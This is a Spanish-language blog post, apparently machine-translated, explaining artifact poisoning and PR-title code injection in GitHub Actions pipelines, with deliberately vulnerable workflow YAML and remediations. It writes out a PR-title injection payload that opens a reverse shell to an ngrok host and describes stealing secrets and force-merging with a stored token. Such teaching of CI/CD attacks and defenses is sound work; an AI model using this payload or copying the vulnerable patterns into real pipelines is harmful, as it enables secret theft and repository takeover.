En publicaciones anteriores (ver Envenenado indirecto Pipeline Ejecución I-PPE y Envenenado Pipeline EPI de ejecución , nos ocupamos básicamente de EPI (Equipos Envenenados Pipeline Ejecución): vimos cómo funciona, sus efectos, cierta explotación y algunas formas de protegerse contra ella.
Esta publicación profundiza Más información sobre algunos otros CI/CD pipeline vulnerabilidades como el envenenamiento de artefactos y la inyección de código.
Para hacerlo, nos basaremos de alguna manera en los EPI, así que hagamos un resumen rápido de lo que vimos sobre los EPI.
Trabajo previo sobre EPI
Para resumir, comenzamos con un GitHub básico. pipeline para construir y probar el código contribuido a través de un pull requestAdemás, define algunas comprobaciones que, si se cumplen, fusionarán el código en la rama principal. Lo llamamos Escenario #1.
En nuestra publicación anterior, demostramos cómo este básico pipeline fue vulnerable tanto al D-PPE como al I-PPE.
Logramos arreglar D-PPE by modificando el evento desencadenante desde solicitud de extracción a pull_request_target, haciendo el pipeline seguro para D-PPE. Como recordatorio, pipelines activado en un evento pull_request_target ejecutará la base pipeline código, no el pipeline código contenido en el pull request.
A esto lo nombramos como Escenario #2.
Como resultado de esta modificación, demostramos que El escenario n.° 2 todavía era vulnerable al I-PPE.
Para solucionarlo decidimos para dividir el pipeline En dos:
- el 1st pipeline (Construir CI) haría consulte el código PR (para construirlo), realiza la compilación y genera un artefacto.
- El xnumxnd pipeline (Prueba de CI) haría consulte el código base (para evitar la modificación del script de shell) y ejecutar los scripts originales contra el artefacto.
- Para sincronizar el CI de prueba pipeline para ejecutar DESPUÉS de la compilación CI pipeline, usaremos el flujo de trabajo_ejecutar desencadenar.
A esto lo nombramos como Escenario #3.
Recuperemos el código de ambos. pipelines de acuerdo con estas modificaciones…
1 pipeline (Construir CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_Secreto: ${{ Secretos.MY_Secreto }}
GITHUB_PAT: ${{ Secretos.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
2nd pipeline (Prueba CI):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_Secreto: ${{ Secretos.MY_Secreto }}
GITHUB_PAT: ${{ Secretos.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
echo "merge=false" >> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Envenenamiento por artefactos
Según lo anterior CI/CD pipelines:
- pipeline Construir CI is seguras a ambos D-PPE (debido a pull_request_target) y I-PPE (porque ya no ejecuta el script de shell).
- pipeline Prueba de CI También es seguras a ambos D-PPE (debido a flujo de trabajo_ejecutar) y I-PPE (porque verifica el código base para obtener el script de shell original)
Profundicemos Más infoto en esta “solución”.
Pipeline Prueba de CI descarga el artefacto como un archivo zip.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
Una vez descomprimido, ejecuta el script de shell "seguro". ¿Por qué digo el script de shell "seguro"? Porque en un paso previo, el pipeline comprueba el código "base", por lo que el script original se coloca en la carpeta del espacio de trabajo. Por lo tanto, cuando el pipeline ejecuta el script de shell que ejecutará utilizando el binario descargado previamente.
Entonces, ¿cuál es el problema con este enfoque? el problema viene cuando cualquier usuario “crea” un nuevo pipeline.
Si un usuario abre un PR que contiene un nuevo pipeline, GitHub ejecutará eso pipeline (dadas algunas condiciones, como vimos en el punto anterior post).
Dado este, ¿Qué pasa si el usuario crea un nuevo pipeline con el mismo nombre que Build CI? Sí, es sorprendente, pero GitHub te permite crear dos pipelines con el mismo nombre!!
Recuerde que Test CI se ejecutará después de Build CI...
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
Sorprendentemente, porque ahora hay dos pipelines con el mismo nombre, el pipeline La prueba CI se ejecutará dos veces: uno después del original pipeline y otros después de lo “nuevo” pipeline.
¿Cómo puede el hacker aprovechar esto?
- En primer lugar, el usuario malintencionado puede modificar el script de shell para enviar el Secreto al servidor controlado por el hacker.
- En segundo lugar, el nuevo pipeline incluye una línea para copiar el script de shell modificado en el artefacto → envenenando la artifa¡¡¡Connecticut!!!
Cuando el usuario abre un PR con estos cambios, el “nuevo” pipeline se ejecutará (cargando un artefacto envenenado) y el comando Deploy CI pipeline se ejecutará después de eso, lo que resultará en el script de shell "modificado" sobrescribe el script de shell "original" ubicado en el pipeline espacio de trabajo.
Esto es lo que llamamos Envenenamiento por artefactos, es decir, el capacidad de modificar (hackear) el pipeline lógica mediante la modificación de un pipeline artefacto.
Una posible remediación es bastante sencillo: simplemente descomprimir el artefacto en una subcarpeta del espacio de trabajo evitaría sobrescribir el script de shell "base".
Inyección de código
Además del envenenamiento de artefactos, ¿puedes ver alguna otra vulnerabilidad en el código anterior?
¡¡Vamonos!!
Como puedes ver en el código, pipeline Build CI construye el binario, lo carga como un pipeline artefacto y, además, carga un par de datos adicionales: el título de PR y el ID de PR.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
¿Por qué? Porque para fusionar el PR, como puede ver a continuación, el CI de prueba pipeline necesita la identificación del PR para invocar la API REST de GitHub que fusiona el PR.
¿Cómo prueba el CI? pipeline obtener esa identificación PR? Compartir información en archivos de texto (parte de un pipeline artefacto) es una forma común de compartir información entre pipelines. Y eso es exactamente lo que estos pipelines están haciendo.
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Estrictamente hablando, sólo se necesita el ID del PR para fusionar el PR, pero el pipeline El administrador decidió que Build CI también incluyera el título de PR para que Test CI pipeline imprimiría algún mensaje de información que contiene tanto el ID de PR como el título.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
El Título PR son siempre datos provenientes del usuario y, como tales, siempre deben considerarse como no confiables.. Entonces el pipeline debe manejarlo como tal y tomar medidas de protección.
En el código anterior, podemos ver el mensaje específico que hace eco del título de relaciones públicas. Es sólo un comando de Linux de “eco”.
A través de la interpolación de cadenas, si el título es "un título ficticio", Github genera internamente un script que contiene
echo ""a dummy title""
Pero, ¿qué pasaría si el título de relaciones públicas fuera algo como:
Título malicioso” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "El guión quedaría:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
Lo que resulta en la apertura de un shell inverso contra el servidor controlado por piratas informáticos.
Ese caparazón inverso podría usarse para acceder al pipeline Secretos (recuerde que Test CI se está ejecutando en modo privilegiado porque lo activa workflow_run, por lo que tiene acceso a Secretos).
Pero, ¿qué más se puede hacer a través de ese caparazón inverso?
Mire el código de prueba de CI:
env:
GITHUB_PAT: ${{ Secretos.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
Como puede ver en la prueba CI pipeline, el comando curl merge utiliza GITHUB_PAT (definido como un pipeline env var), por lo que el ejecutor contiene GITHUB_PAT como variable de entorno. Además, también crea una var env que lee el ID de PR.
Entonces, el hacker solo necesita copiar el comando curl y pegarlo en el shell inverso, fusionando el PR directamente en la rama protegida.
Para proteger de todo esto:
- A evitar interpolación de cadenas con datos que no son de confianza (vulnerables a código de inyección) por definir pipeline variables ambientales en lugar de usarlo directamente en comandos de eco
En lugar de usar:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
Utilizar esta:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- Incluso con el exploit de inyección de código, el comando curl merge no habría tenido éxito si se hubiera ejecutado correctamente. Protegí tu pull requests mediante alguna revisión o aprobación obligatoria.
Conclusiones
De alguna manera es difícil protegerlo. CI/CD pipelines configuración y obtener pipelineEstá libre de vulnerabilidades.
Esto no significa que CI/CD Los sistemas (como GitHub en este caso) son vulnerables per se. CI/CD Los sistemas proporcionan los medios para protegerse contra vulnerabilidades… pero es responsabilidad del administrador implementar esas protecciones.
Pero... ¡¡¡No puedes resolver una vulnerabilidad a menos que seas consciente de su existencia!!!
Por supuesto, un administrador de DevOps altamente calificado puede tener todas estas amenazas en mente y protegerlas adecuadamente. CI/CD pipelines, pero, aun así, es muy valioso usar un producto para detectar todos estos tipos de vulnerabilidades. Y, por supuesto, automatizar este proceso de detención de vulnerabilidades (por ejemplo, ejecutando el análisis como parte de CI/CD pipelines).
Este enfoque podría denominarse “Puerta de seguridad'
- Crear un nuevo pipeline (Puerta de seguridad) para comprobar CI/CD pipelines vulnerabilidades y hacer que el otro CI pipelines para ejecutarse sólo después de completar con éxito la puerta de seguridad pipeline.
- La puerta de seguridad pipelines comprobará si CI/CD pipelines vulnerabilidades y,
- Si se encuentran vulnerabilidades, fallará y, por lo tanto, las otras pipelines no se ejecutará.
- Si no se encuentran vulnerabilidades, el pipeline tendrá éxito y el otro pipelines se ejecutará como de costumbre.





